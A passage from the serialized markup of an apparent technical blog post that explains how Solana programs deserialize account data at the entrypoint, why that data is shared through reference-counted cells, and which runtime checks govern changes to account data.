{\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[18570],{"type":22,"tag":30,"props":18571,"children":18572},{"__ignoreMap":7},[18573,18581,18653,18696,18748,18806,18849,18892,18899],{"type":22,"tag":101,"props":18574,"children":18575},{"class":103,"line":104},[18576],{"type":22,"tag":101,"props":18577,"children":18578},{"style":120},[18579],{"type":27,"value":18580},"#[no_mangle]\n",{"type":22,"tag":101,"props":18582,"children":18583},{"class":103,"line":157},[18584,18588,18593,18598,18603,18607,18612,18616,18620,18624,18628,18632,18637,18641,18645,18649],{"type":22,"tag":101,"props":18585,"children":18586},{"style":108},[18587],{"type":27,"value":17693},{"type":22,"tag":101,"props":18589,"children":18590},{"style":108},[18591],{"type":27,"value":18592}," unsafe",{"type":22,"tag":101,"props":18594,"children":18595},{"style":108},[18596],{"type":27,"value":18597}," extern",{"type":22,"tag":101,"props":18599,"children":18600},{"style":6476},[18601],{"type":27,"value":18602}," \"C\"",{"type":22,"tag":101,"props":18604,"children":18605},{"style":108},[18606],{"type":27,"value":17698},{"type":22,"tag":101,"props":18608,"children":18609},{"style":926},[18610],{"type":27,"value":18611}," entrypoint",{"type":22,"tag":101,"props":18613,"children":18614},{"style":120},[18615],{"type":27,"value":980},{"type":22,"tag":101,"props":18617,"children":18618},{"style":126},[18619],{"type":27,"value":12376},{"type":22,"tag":101,"props":18621,"children":18622},{"style":166},[18623],{"type":27,"value":169},{"type":22,"tag":101,"props":18625,"children":18626},{"style":166},[18627],{"type":27,"value":13822},{"type":22,"tag":101,"props":18629,"children":18630},{"style":108},[18631],{"type":27,"value":7760},{"type":22,"tag":101,"props":18633,"children":18634},{"style":114},[18635],{"type":27,"value":18636}," u8",{"type":22,"tag":101,"props":18638,"children":18639},{"style":120},[18640],{"type":27,"value":901},{"type":22,"tag":101,"props":18642,"children":18643},{"style":166},[18644],{"type":27,"value":17759},{"type":22,"tag":101,"props":18646,"children":18647},{"style":114},[18648],{"type":27,"value":174},{"type":22,"tag":101,"props":18650,"children":18651},{"style":120},[18652],{"type":27,"value":154},{"type":22,"tag":101,"props":18654,"children":18655},{"class":103,"line":182},[18656,18660,18664,18669,18673,18678,18682,18687,18691],{"type":22,"tag":101,"props":18657,"children":18658},{"style":108},[18659],{"type":27,"value":950},{"type":22,"tag":101,"props":18661,"children":18662},{"style":120},[18663],{"type":27,"value":3603},{"type":22,"tag":101,"props":18665,"children":18666},{"style":126},[18667],{"type":27,"value":18668},"program_id",{"type":22,"tag":101,"props":18670,"children":18671},{"style":120},[18672],{"type":27,"value":758},{"type":22,"tag":101,"props":18674,"children":18675},{"style":126},[18676],{"type":27,"value":18677},"accounts",{"type":22,"tag":101,"props":18679,"children":18680},{"style":120},[18681],{"type":27,"value":758},{"type":22,"tag":101,"props":18683,"children":18684},{"style":126},[18685],{"type":27,"value":18686},"instruction_data",{"type":22,"tag":101,"props":18688,"children":18689},{"style":120},[18690],{"type":27,"value":901},{"type":22,"tag":101,"props":18692,"children":18693},{"style":166},[18694],{"type":27,"value":18695},"=\n",{"type":22,"tag":101,"props":18697,"children":18698},{"class":103,"line":367},[18699,18704,18708,18712,18717,18721,18726,18730,18735,18739,18743],{"type":22,"tag":101,"props":18700,"children":18701},{"style":108},[18702],{"type":27,"value":18703}," unsafe",{"type":22,"tag":101,"props":18705,"children":18706},{"style":120},[18707],{"type":27,"value":1479},{"type":22,"tag":101,"props":18709,"children":18710},{"style":166},[18711],{"type":27,"value":14294},{"type":22,"tag":101,"props":18713,"children":18714},{"style":108},[18715],{"type":27,"value":18716},"crate",{"type":22,"tag":101,"props":18718,"children":18719},{"style":166},[18720],{"type":27,"value":970},{"type":22,"tag":101,"props":18722,"children":18723},{"style":120},[18724],{"type":27,"value":18725},"entrypoint",{"type":22,"tag":101,"props":18727,"children":18728},{"style":166},[18729],{"type":27,"value":970},{"type":22,"tag":101,"props":18731,"children":18732},{"style":926},[18733],{"type":27,"value":18734},"deserialize",{"type":22,"tag":101,"props":18736,"children":18737},{"style":120},[18738],{"type":27,"value":980},{"type":22,"tag":101,"props":18740,"children":18741},{"style":126},[18742],{"type":27,"value":12376},{"type":22,"tag":101,"props":18744,"children":18745},{"style":120},[18746],{"type":27,"value":18747},") };\n",{"type":22,"tag":101,"props":18749,"children":18750},{"class":103,"line":398},[18751,18756,18761,18766,18770,18774,18778,18782,18786,18790,18794,18798,18802],{"type":22,"tag":101,"props":18752,"children":18753},{"style":3595},[18754],{"type":27,"value":18755}," match",{"type":22,"tag":101,"props":18757,"children":18758},{"style":166},[18759],{"type":27,"value":18760}," $",{"type":22,"tag":101,"props":18762,"children":18763},{"style":126},[18764],{"type":27,"value":18765},"process_instruction",{"type":22,"tag":101,"props":18767,"children":18768},{"style":120},[18769],{"type":27,"value":980},{"type":22,"tag":101,"props":18771,"children":18772},{"style":166},[18773],{"type":27,"value":985},{"type":22,"tag":101,"props":18775,"children":18776},{"style":126},[18777],{"type":27,"value":18668},{"type":22,"tag":101,"props":18779,"children":18780},{"style":120},[18781],{"type":27,"value":758},{"type":22,"tag":101,"props":18783,"children":18784},{"style":166},[18785],{"type":27,"value":985},{"type":22,"tag":101,"props":18787,"children":18788},{"style":126},[18789],{"type":27,"value":18677},{"type":22,"tag":101,"props":18791,"children":18792},{"style":120},[18793],{"type":27,"value":758},{"type":22,"tag":101,"props":18795,"children":18796},{"style":166},[18797],{"type":27,"value":985},{"type":22,"tag":101,"props":18799,"children":18800},{"style":126},[18801],{"type":27,"value":18686},{"type":22,"tag":101,"props":18803,"children":18804},{"style":120},[18805],{"type":27,"value":1463},{"type":22,"tag":101,"props":18807,"children":18808},{"class":103,"line":428},[18809,18814,18819,18824,18828,18832,18836,18840,18844],{"type":22,"tag":101,"props":18810,"children":18811},{"style":114},[18812],{"type":27,"value":18813}," Ok",{"type":22,"tag":101,"props":18815,"children":18816},{"style":120},[18817],{"type":27,"value":18818},"(()) ",{"type":22,"tag":101,"props":18820,"children":18821},{"style":166},[18822],{"type":27,"value":18823},"=>",{"type":22,"tag":101,"props":18825,"children":18826},{"style":166},[18827],{"type":27,"value":18760},{"type":22,"tag":101,"props":18829,"children":18830},{"style":108},[18831],{"type":27,"value":18716},{"type":22,"tag":101,"props":18833,"children":18834},{"style":166},[18835],{"type":27,"value":970},{"type":22,"tag":101,"props":18837,"children":18838},{"style":120},[18839],{"type":27,"value":18725},{"type":22,"tag":101,"props":18841,"children":18842},{"style":166},[18843],{"type":27,"value":970},{"type":22,"tag":101,"props":18845,"children":18846},{"style":120},[18847],{"type":27,"value":18848},"SUCCESS,\n",{"type":22,"tag":101,"props":18850,"children":18851},{"class":103,"line":997},[18852,18857,18861,18866,18870,18874,18879,18883,18888],{"type":22,"tag":101,"props":18853,"children":18854},{"style":114},[18855],{"type":27,"value":18856}," Err",{"type":22,"tag":101,"props":18858,"children":18859},{"style":120},[18860],{"type":27,"value":980},{"type":22,"tag":101,"props":18862,"children":18863},{"style":126},[18864],{"type":27,"value":18865},"error",{"type":22,"tag":101,"props":18867,"children":18868},{"style":120},[18869],{"type":27,"value":901},{"type":22,"tag":101,"props":18871,"children":18872},{"style":166},[18873],{"type":27,"value":18823},{"type":22,"tag":101,"props":18875,"children":18876},{"style":126},[18877],{"type":27,"value":18878}," error",{"type":22,"tag":101,"props":18880,"children":18881},{"style":166},[18882],{"type":27,"value":231},{"type":22,"tag":101,"props":18884,"children":18885},{"style":926},[18886],{"type":27,"value":18887},"into",{"type":22,"tag":101,"props":18889,"children":18890},{"style":120},[18891],{"type":27,"value":7526},{"type":22,"tag":101,"props":18893,"children":18894},{"class":103,"line":1032},[18895],{"type":22,"tag":101,"props":18896,"children":18897},{"style":120},[18898],{"type":27,"value":1734},{"type":22,"tag":101,"props":18900,"children":18901},{"class":103,"line":1063},[18902],{"type":22,"tag":101,"props":18903,"children":18904},{"style":120},[18905],{"type":27,"value":188},{"type":22,"tag":23,"props":18907,"children":18908},{},[18909,18911,18916,18918,18924,18926,18933,18935,18941,18943,18950],{"type":27,"value":18910},"What we see here is the contract's real entrypoint - it takes a ",{"type":22,"tag":30,"props":18912,"children":18914},{"className":18913},[],[18915],{"type":27,"value":7458},{"type":27,"value":18917}," buffer in from the loader, and calls ",{"type":22,"tag":30,"props":18919,"children":18921},{"className":18920},[],[18922],{"type":27,"value":18923},"solana_program::entrypoint::deserialize",{"type":27,"value":18925},", which then ",{"type":22,"tag":80,"props":18927,"children":18930},{"href":18928,"rel":18929},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[84],[18931],{"type":27,"value":18932},"parses out",{"type":27,"value":18934}," all the ",{"type":22,"tag":30,"props":18936,"children":18938},{"className":18937},[],[18939],{"type":27,"value":18940},"AccountInfo",{"type":27,"value":18942},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":22,"tag":80,"props":18944,"children":18947},{"href":18945,"rel":18946},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[84],[18948],{"type":27,"value":18949},"laid out",{"type":27,"value":169},{"type":22,"tag":91,"props":18952,"children":18954},{"className":93,"code":18953,"language":95,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[18955],{"type":22,"tag":30,"props":18956,"children":18957},{"__ignoreMap":7},[18958,18975,19055,19088,19095,19143,19187,19195,19219],{"type":22,"tag":101,"props":18959,"children":18960},{"class":103,"line":104},[18961,18966,18970],{"type":22,"tag":101,"props":18962,"children":18963},{"style":120},[18964],{"type":27,"value":18965},"#[allow(clippy",{"type":22,"tag":101,"props":18967,"children":18968},{"style":166},[18969],{"type":27,"value":970},{"type":22,"tag":101,"props":18971,"children":18972},{"style":120},[18973],{"type":27,"value":18974},"cast_ptr_alignment)]\n",{"type":22,"tag":101,"props":18976,"children":18977},{"class":103,"line":157},[18978,18982,18987,18991,18995,18999,19003,19007,19011,19015,19019,19023,19027,19031,19035,19039,19043,19047,19051],{"type":22,"tag":101,"props":18979,"children":18980},{"style":108},[18981],{"type":27,"value":15792},{"type":22,"tag":101,"props":18983,"children":18984},{"style":126},[18985],{"type":27,"value":18986}," data_len",{"type":22,"tag":101,"props":18988,"children":18989},{"style":166},[18990],{"type":27,"value":960},{"type":22,"tag":101,"props":18992,"children":18993},{"style":166},[18994],{"type":27,"value":13822},{"type":22,"tag":101,"props":18996,"children":18997},{"style":120},[18998],{"type":27,"value":980},{"type":22,"tag":101,"props":19000,"children":19001},{"style":126},[19002],{"type":27,"value":12376},{"type":22,"tag":101,"props":19004,"children":19005},{"style":166},[19006],{"type":27,"value":231},{"type":22,"tag":101,"props":19008,"children":19009},{"style":926},[19010],{"type":27,"value":13643},{"type":22,"tag":101,"props":19012,"children":19013},{"style":120},[19014],{"type":27,"value":980},{"type":22,"tag":101,"props":19016,"children":19017},{"style":126},[19018],{"type":27,"value":17903},{"type":22,"tag":101,"props":19020,"children":19021},{"style":120},[19022],{"type":27,"value":901},{"type":22,"tag":101,"props":19024,"children":19025},{"style":108},[19026],{"type":27,"value":12849},{"type":22,"tag":101,"props":19028,"children":19029},{"style":166},[19030],{"type":27,"value":13822},{"type":22,"tag":101,"props":19032,"children":19033},{"style":108},[19034],{"type":27,"value":13660},{"type":22,"tag":101,"props":19036,"children":19037},{"style":114},[19038],{"type":27,"value":174},{"type":22,"tag":101,"props":19040,"children":19041},{"style":120},[19042],{"type":27,"value":901},{"type":22,"tag":101,"props":19044,"children":19045},{"style":108},[19046],{"type":27,"value":12849},{"type":22,"tag":101,"props":19048,"children":19049},{"style":114},[19050],{"type":27,"value":17733},{"type":22,"tag":101,"props":19052,"children":19053},{"style":120},[19054],{"type":27,"value":1520},{"type":22,"tag":101,"props":19056,"children":19057},{"class":103,"line":182},[19058,19062,19067,19072,19076,19080,19084],{"type":22,"tag":101,"props":19059,"children":19060},{"style":126},[19061],{"type":27,"value":17903},{"type":22,"tag":101,"props":19063,"children":19064},{"style":166},[19065],{"type":27,"value":19066}," +=",{"type":22,"tag":101,"props":19068,"children":19069},{"style":926},[19070],{"type":27,"value":19071}," size_of",{"type":22,"tag":101,"props":19073,"children":19074},{"style":166},[19075],{"type":27,"value":970},{"type":22,"tag":101,"props":19077,"children":19078},{"style":120},[19079],{"type":27,"value":123},{"type":22,"tag":101,"props":19081,"children":19082},{"style":114},[19083],{"type":27,"value":12052},{"type":22,"tag":101,"props":19085,"children":19086},{"style":120},[19087],{"type":27,"value":6184},{"type":22,"tag":101,"props":19089,"children":19090},{"class":103,"line":367},[19091],{"type":22,"tag":101,"props":19092,"children":19093},{"emptyLinePlaceholder":15},[19094],{"type":27,"value":1581},{"type":22,"tag":101,"props":19096,"children":19097},{"class":103,"line":398},[19098,19102,19107,19111,19116,19120,19125,19130,19134,19138],{"type":22,"tag":101,"props":19099,"children":19100},{"style":108},[19101],{"type":27,"value":15792},{"type":22,"tag":101,"props":19103,"children":19104},{"style":126},[19105],{"type":27,"value":19106}," data",{"type":22,"tag":101,"props":19108,"children":19109},{"style":166},[19110],{"type":27,"value":960},{"type":22,"tag":101,"props":19112,"children":19113},{"style":114},[19114],{"type":27,"value":19115}," Rc",{"type":22,"tag":101,"props":19117,"children":19118},{"style":166},[19119],{"type":27,"value":970},{"type":22,"tag":101,"props":19121,"children":19122},{"style":926},[19123],{"type":27,"value":19124},"new",{"type":22,"tag":101,"props":19126,"children":19127},{"style":120},[19128],{"type":27,"value":19129},"(RefCell",{"type":22,"tag":101,"props":19131,"children":19132},{"style":166},[19133],{"type":27,"value":970},{"type":22,"tag":101,"props":19135,"children":19136},{"style":926},[19137],{"type":27,"value":19124},{"type":22,"tag":101,"props":19139,"children":19140},{"style":120},[19141],{"type":27,"value":19142},"({\n",{"type":22,"tag":101,"props":19144,"children":19145},{"class":103,"line":428},[19146,19151,19155,19159,19163,19167,19171,19175,19179,19183],{"type":22,"tag":101,"props":19147,"children":19148},{"style":926},[19149],{"type":27,"value":19150}," from_raw_parts_mut",{"type":22,"tag":101,"props":19152,"children":19153},{"style":120},[19154],{"type":27,"value":980},{"type":22,"tag":101,"props":19156,"children":19157},{"style":126},[19158],{"type":27,"value":12376},{"type":22,"tag":101,"props":19160,"children":19161},{"style":166},[19162],{"type":27,"value":231},{"type":22,"tag":101,"props":19164,"children":19165},{"style":926},[19166],{"type":27,"value":13643},{"type":22,"tag":101,"props":19168,"children":19169},{"style":120},[19170],{"type":27,"value":980},{"type":22,"tag":101,"props":19172,"children":19173},{"style":126},[19174],{"type":27,"value":17903},{"type":22,"tag":101,"props":19176,"children":19177},{"style":120},[19178],{"type":27,"value":1099},{"type":22,"tag":101,"props":19180,"children":19181},{"style":126},[19182],{"type":27,"value":17808},{"type":22,"tag":101,"props":19184,"children":19185},{"style":120},[19186],{"type":27,"value":2510},{"type":22,"tag":101,"props":19188,"children":19189},{"class":103,"line":997},[19190],{"type":22,"tag":101,"props":19191,"children":19192},{"style":120},[19193],{"type":27,"value":19194},"}));\n",{"type":22,"tag":101,"props":19196,"children":19197},{"class":103,"line":1032},[19198,19202,19206,19210,19214],{"type":22,"tag":101,"props":19199,"children":19200},{"style":126},[19201],{"type":27,"value":17903},{"type":22,"tag":101,"props":19203,"children":19204},{"style":166},[19205],{"type":27,"value":19066},{"type":22,"tag":101,"props":19207,"children":19208},{"style":126},[19209],{"type":27,"value":18986},{"type":22,"tag":101,"props":19211,"children":19212},{"style":166},[19213],{"type":27,"value":3643},{"type":22,"tag":101,"props":19215,"children":19216},{"style":120},[19217],{"type":27,"value":19218}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":22,"tag":101,"props":19220,"children":19221},{"class":103,"line":1063},[19222,19226,19230,19234,19238,19242,19246,19250,19254,19258,19262,19267,19272],{"type":22,"tag":101,"props":19223,"children":19224},{"style":126},[19225],{"type":27,"value":17903},{"type":22,"tag":101,"props":19227,"children":19228},{"style":166},[19229],{"type":27,"value":19066},{"type":22,"tag":101,"props":19231,"children":19232},{"style":120},[19233],{"type":27,"value":3603},{"type":22,"tag":101,"props":19235,"children":19236},{"style":126},[19237],{"type":27,"value":17903},{"type":22,"tag":101,"props":19239,"children":19240},{"style":108},[19241],{"type":27,"value":12835},{"type":22,"tag":101,"props":19243,"children":19244},{"style":166},[19245],{"type":27,"value":13822},{"type":22,"tag":101,"props":19247,"children":19248},{"style":108},[19249],{"type":27,"value":13660},{"type":22,"tag":101,"props":19251,"children":19252},{"style":114},[19253],{"type":27,"value":18636},{"type":22,"tag":101,"props":19255,"children":19256},{"style":120},[19257],{"type":27,"value":2261},{"type":22,"tag":101,"props":19259,"children":19260},{"style":166},[19261],{"type":27,"value":231},{"type":22,"tag":101,"props":19263,"children":19264},{"style":926},[19265],{"type":27,"value":19266},"align_offset",{"type":22,"tag":101,"props":19268,"children":19269},{"style":120},[19270],{"type":27,"value":19271},"(BPF_ALIGN_OF_U128); ",{"type":22,"tag":101,"props":19273,"children":19274},{"style":2215},[19275],{"type":27,"value":19276},"// padding\n",{"type":22,"tag":23,"props":19278,"children":19279},{},[19280,19282,19287,19289,19295,19297,19308,19310,19315,19317,19323,19325,19331,19333,19339],{"type":27,"value":19281},"In English, we have the length of the data, as a ",{"type":22,"tag":30,"props":19283,"children":19285},{"className":19284},[],[19286],{"type":27,"value":12052},{"type":27,"value":19288},", followed immediately by the data, and an additional ",{"type":22,"tag":30,"props":19290,"children":19292},{"className":19291},[],[19293],{"type":27,"value":19294},"MAX_PERMITTED_DATA_INCREASE",{"type":27,"value":19296}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":22,"tag":80,"props":19298,"children":19301},{"href":19299,"rel":19300},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[84],[19302],{"type":22,"tag":30,"props":19303,"children":19305},{"className":19304},[],[19306],{"type":27,"value":19307},"slice::from_raw_parts_mut",{"type":27,"value":19309},") - slices are how Rust represents a, well, ",{"type":22,"tag":6961,"props":19311,"children":19312},{},[19313],{"type":27,"value":19314},"slice",{"type":27,"value":19316}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":22,"tag":30,"props":19318,"children":19320},{"className":19319},[],[19321],{"type":27,"value":19322},"Rc\u003CRefCell\u003CT>>",{"type":27,"value":19324},", giving us the unwieldy-looking type of ",{"type":22,"tag":30,"props":19326,"children":19328},{"className":19327},[],[19329],{"type":27,"value":19330},"AccountInfo.data",{"type":27,"value":19332},": ",{"type":22,"tag":30,"props":19334,"children":19336},{"className":19335},[],[19337],{"type":27,"value":19338},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":27,"value":231},{"type":22,"tag":23,"props":19341,"children":19342},{},[19343,19345,19352],{"type":27,"value":19344},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":22,"tag":80,"props":19346,"children":19349},{"href":19347,"rel":19348},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[84],[19350],{"type":27,"value":19351},"cloning the referenced account",{"type":27,"value":169},{"type":22,"tag":91,"props":19354,"children":19356},{"className":93,"code":19355,"language":95,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[19357],{"type":22,"tag":30,"props":19358,"children":19359},{"__ignoreMap":7},[19360,19368],{"type":22,"tag":101,"props":19361,"children":19362},{"class":103,"line":104},[19363],{"type":22,"tag":101,"props":19364,"children":19365},{"style":2215},[19366],{"type":27,"value":19367},"// Duplicate account, clone the original\n",{"type":22,"tag":101,"props":19369,"children":19370},{"class":103,"line":157},[19371,19375,19379,19383,19387,19391,19395,19400,19404,19408,19413,19417,19422],{"type":22,"tag":101,"props":19372,"children":19373},{"style":126},[19374],{"type":27,"value":18677},{"type":22,"tag":101,"props":19376,"children":19377},{"style":166},[19378],{"type":27,"value":231},{"type":22,"tag":101,"props":19380,"children":19381},{"style":926},[19382],{"type":27,"value":7852},{"type":22,"tag":101,"props":19384,"children":19385},{"style":120},[19386],{"type":27,"value":980},{"type":22,"tag":101,"props":19388,"children":19389},{"style":126},[19390],{"type":27,"value":18677},{"type":22,"tag":101,"props":19392,"children":19393},{"style":120},[19394],{"type":27,"value":2414},{"type":22,"tag":101,"props":19396,"children":19397},{"style":126},[19398],{"type":27,"value":19399},"dup_info",{"type":22,"tag":101,"props":19401,"children":19402},{"style":108},[19403],{"type":27,"value":12835},{"type":22,"tag":101,"props":19405,"children":19406},{"style":114},[19407],{"type":27,"value":17733},{"type":22,"tag":101,"props":19409,"children":19410},{"style":120},[19411],{"type":27,"value":19412},"]",{"type":22,"tag":101,"props":19414,"children":19415},{"style":166},[19416],{"type":27,"value":231},{"type":22,"tag":101,"props":19418,"children":19419},{"style":926},[19420],{"type":27,"value":19421},"clone",{"type":22,"tag":101,"props":19423,"children":19424},{"style":120},[19425],{"type":27,"value":1980},{"type":22,"tag":23,"props":19427,"children":19428},{},[19429,19431,19436,19438,19443,19445,19450,19452,19457,19458,19464,19466,19471,19473,19483,19485,19490],{"type":27,"value":19430},"Since ",{"type":22,"tag":30,"props":19432,"children":19434},{"className":19433},[],[19435],{"type":27,"value":7738},{"type":27,"value":19437}," inside the ",{"type":22,"tag":30,"props":19439,"children":19441},{"className":19440},[],[19442],{"type":27,"value":18940},{"type":27,"value":19444}," is a ",{"type":22,"tag":30,"props":19446,"children":19448},{"className":19447},[],[19449],{"type":27,"value":19322},{"type":27,"value":19451},", where the ",{"type":22,"tag":30,"props":19453,"children":19455},{"className":19454},[],[19456],{"type":27,"value":840},{"type":27,"value":19444},{"type":22,"tag":30,"props":19459,"children":19461},{"className":19460},[],[19462],{"type":27,"value":19463},"&mut [u8]",{"type":27,"value":19465}," pointing at the actual data buffer, when we clone the ",{"type":22,"tag":30,"props":19467,"children":19469},{"className":19468},[],[19470],{"type":27,"value":18940},{"type":27,"value":19472},", we get a new reference",{"type":22,"tag":6802,"props":19474,"children":19475},{},[19476],{"type":22,"tag":80,"props":19477,"children":19481},{"href":19478,"ariaDescribedBy":19479,"dataFootnoteRef":7,"id":19480},"#user-content-fn-rc-refs",[6809],"user-content-fnref-rc-refs",[19482],{"type":27,"value":6813},{"type":27,"value":19484}," to the slice pointing at the ",{"type":22,"tag":6961,"props":19486,"children":19487},{},[19488],{"type":27,"value":19489},"same",{"type":27,"value":19491}," data buffer.",{"type":22,"tag":23,"props":19493,"children":19494},{},[19495,19497,19503,19505,19511],{"type":27,"value":19496},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":22,"tag":30,"props":19498,"children":19500},{"className":19499},[],[19501],{"type":27,"value":19502},"RefCell",{"type":27,"value":19504}," to check the rules at runtime. (The ",{"type":22,"tag":30,"props":19506,"children":19508},{"className":19507},[],[19509],{"type":27,"value":19510},"lamports",{"type":27,"value":19512}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":22,"tag":23,"props":19514,"children":19515},{},[19516,19518,19524],{"type":27,"value":19517},"Changing the data of an account is done by simply writing to ",{"type":22,"tag":30,"props":19519,"children":19521},{"className":19520},[],[19522],{"type":27,"value":19523},"AccountInfo::data",{"type":27,"value":19525},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":22,"tag":23,"props":19527,"children":19528},{},[19529,19531,19538],{"type":27,"value":19530},"This is also where the ",{"type":22,"tag":80,"props":19532,"children":19535},{"href":19533,"rel":19534},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[84],[19536],{"type":27,"value":19537},"runtime validity checks",{"type":27,"value":19539}," are imposed.",{"type":22,"tag":91,"props":19541,"children":19543},{"className":93,"code":19542,"language":95,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[19544],{"type":22,"tag":30,"props":19545,"children":19546},{"__ignoreMap":7},[19547,19555,19563,19571,19612,19630,19659,19704,19711,19735,19770,19795,19827,19842,19874,19881],{"type":22,"tag":101,"props":19548,"children":19549},{"class":103,"line":104},[19550],{"type":22,"tag":101,"props":19551,"children":19552},{"style":2215},[19553],{"type":27,"value":19554},"// Only the owner may change account data\n",{"type":22,"tag":101,"props":19556,"children":19557},{"class":103,"line":157},[19558],{"type":22,"tag":101,"props":19559,"children":19560},{"style":2215},[19561],{"type":27,"value":19562},"// and if the account is writable\n",{"type":22,"tag":101,"props":19564,"children":19565},{"class":103,"line":182},[19566],{"type":22,"tag":101,"props":19567,"children":19568},{"style":2215},[19569],{"type":27,"value":19570},"// and if the account is not executable\n",{"type":22,"tag":101,"props":19572,"children":19573},{"class":103,"line":367},[19574,19579,19583,19587,19591,19595,19600,19604,19608],{"type":22,"tag":101,"props":19575,"children":19576},{"style":3595},[19577],{"type":27,"value":19578},"if",{"type":22,"tag":101,"props":19580,"children":19581},{"style":166},[19582],{"type":27,"value":16868},{"type":22,"tag":101,"props":19584,"children":19585},{"style":120},[19586],{"type":27,"value":980},{"type":22,"tag":101,"props":19588,"children":19589},{"style":126},[19590],{"type":27,"value":18668},{"type":22,"tag":101,"props":19592,"children":19593},{"style":166},[19594],{"type":27,"value":1541},{"type":22,"tag":101,"props":19596,"children":19597},{"style":126},[19598],{"type":27,"value":19599}," pre",{"type":22,"tag":101,"props":19601,"children":19602},{"style":166},[19603],{"type":27,"value":231},{"type":22,"tag":101,"props":19605,"children":19606},{"style":926},[19607],{"type":27,"value":3024},{"type":22,"tag":101,"props":19609,"children":19610},{"style":120},[19611],{"type":27,"value":11746},{"type":22,"tag":101,"props":19613,"children":19614},{"class":103,"line":398},[19615,19620,19625],{"type":22,"tag":101,"props":19616,"children":19617},{"style":166},[19618],{"type":27,"value":19619}," &&",{"type":22,"tag":101,"props":19621,"children":19622},{"style":126},[19623],{"type":27,"value":19624}," is_writable",{"type":22,"tag":101,"props":19626,"children":19627},{"style":2215},[19628],{"type":27,"value":19629}," // line coverage used to get branch coverage\n",{"type":22,"tag":101,"props":19631,"children":19632},{"class":103,"line":428},[19633,19637,19641,19645,19649,19654],{"type":22,"tag":101,"props":19634,"children":19635},{"style":166},[19636],{"type":27,"value":19619},{"type":22,"tag":101,"props":19638,"children":19639},{"style":166},[19640],{"type":27,"value":16868},{"type":22,"tag":101,"props":19642,"children":19643},{"style":126},[19644],{"type":27,"value":91},{"type":22,"tag":101,"props":19646,"children":19647},{"style":166},[19648],{"type":27,"value":231},{"type":22,"tag":101,"props":19650,"children":19651},{"style":926},[19652],{"type":27,"value":19653},"executable",{"type":22,"tag":101,"props":19655,"children":19656},{"style":120},[19657],{"type":27,"value":19658},"())\n",{"type":22,"tag":101,"props":19660,"children":19661},{"class":103,"line":997},[19662,19666,19670,19674,19678,19682,19687,19692,19696,19700],{"type":22,"tag":101,"props":19663,"children":19664},{"style":166},[19665],{"type":27,"value":19619},{"type":22,"tag":101,"props":19667,"children":19668},{"style":126},[19669],{"type":27,"value":19599},{"type":22,"tag":101,"props":19671,"children":19672},{"style":166},[19673],{"type":27,"value":231},{"type":22,"tag":101,"props":19675,"children":19676},{"style":926},[19677],{"type":27,"value":7738},{"type":22,"tag":101,"props":19679,"children":19680},{"style":120},[19681],{"type":27,"value":18045},{"type":22,"tag":101,"props":19683,"children":19684},{"style":166},[19685],{"type":27,"value":19686},"!=",{"type":22,"tag":101,"props":19688,"children":19689},{"style":126},[19690],{"type":27,"value":19691}," post",{"type":22,"tag":101,"props":19693,"children":19694},{"style":166},[19695],{"type":27,"value":231},{"type":22,"tag":101,"props":19697,"children":19698},{"style":926},[19699],{"type":27,"value":7738},{"type":22,"tag":101,"props":19701,"children":19702},{"style":120},[19703],{"type":27,"value":11746},{"type":22,"tag":101,"props":19705,"children":19706},{"class":103,"line":1032},[19707],{"type":22,"tag":101,"props":19708,"children":19709},{"style":120},[19710],{"type":27,"value":14886},{"type":22,"tag":101,"props":19712,"children":19713},{"class":103,"line":1063},[19714,19718,19722,19726,19730],{"type":22,"tag":101,"props":19715,"children":19716},{"style":3595},[19717],{"type":27,"value":16283},{"type":22,"tag":101,"props":19719,"children":19720},{"style":126},[19721],{"type":27,"value":19599},{"type":22,"tag":101,"props":19723,"children":19724},{"style":166},[19725],{"type":27,"value":231},{"type":22,"tag":101,"props":19727,"children":19728},{"style":926},[19729],{"type":27,"value":19653},{"type":22,"tag":101,"props":19731,"children":19732},{"style":120},[19733],{"type":27,"value":19734},"() {\n",{"type":22,"tag":101,"props":19736,"children":19737},{"class":103,"line":1071},[19738,19743,19748,19752,19757,19761,19766],{"type":22,"tag":101,"props":19739,"children":19740},{"style":3595},[19741],{"type":27,"value":19742}," return",{"type":22,"tag":101,"props":19744,"children":19745},{"style":114},[19746],{"type":27,"value":19747}," 